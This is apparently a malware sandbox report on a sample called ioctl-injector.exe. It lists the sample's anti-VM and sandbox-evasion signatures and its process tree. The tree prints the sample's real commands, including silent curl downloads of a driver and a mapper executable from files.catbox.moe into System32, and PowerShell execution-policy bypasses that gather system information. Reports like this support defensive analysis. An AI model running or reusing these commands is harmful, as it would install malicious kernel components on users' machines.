Overview

overview

9

Static

static

3

ioctl-injector.exe

windows10-2004-x64

9

ioctl-injector.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    26/06/2026, 12:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ioctl-injector.exe
  • Size 1.1MB
  • Sample260626-pgmxaaa18w
  • SHA256 dab492cd3c75ea3040fb693ca245391577b00d787447bd29b93153b07a097d73
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasionexecution

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 5 IoCs
    defense_evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
    defense_evasion
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    defense_evasion
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    defense_evasion
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ioctl-injector.exe
    "C:\Users\Admin\AppData\Local\Temp\ioctl-injector.exe"
    1⤵
    • Enumerates VirtualBox registry keys
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Checks BIOS information in registry
    • Checks for VirtualBox DLLs, possible anti-VM trick
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:652
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2448
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2188
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1996
      • C:\Windows\system32\curl.exe
        curl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys
        3⤵
          PID:1648
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:548
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1884
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:3160
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/m9mkjr.bin --output C:\Windows\System32\mapper.exe >nul 2>&1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:440
        • C:\Windows\system32\curl.exe
          curl -L --silent https://files.catbox.moe/m9mkjr.bin --output C:\Windows\System32\mapper.exe
          3⤵
            PID:4696
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4272
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5008

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 8350958b7997e4738f0fe75dccb8f79e1a58bdbfe48ee69f35ed214fb97e61c4
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 40454eae93c3034da34b7726aa92499175d070c5ea336c450fadc70466f8e585
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 3fe24938bb98e0b73a269de04a1674499a2cd0576141abd7e7d9f893dbe510a6
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_xkq4glvx.xbj.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xkq4glvx.xbj.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/2188-8-0x0000021FED020000-0x0000021FED030000-memory.dmp
            Download

            memory/2188-9-0x0000021FED020000-0x0000021FED030000-memory.dmp
            Download

            memory/2188-10-0x0000021FECE70000-0x0000021FECE92000-memory.dmp
            Download

            memory/2188-18-0x0000021FEF6C0000-0x0000021FEF6EA000-memory.dmp
            Download

            memory/2188-19-0x0000021FEF6C0000-0x0000021FEF6E4000-memory.dmp
            Download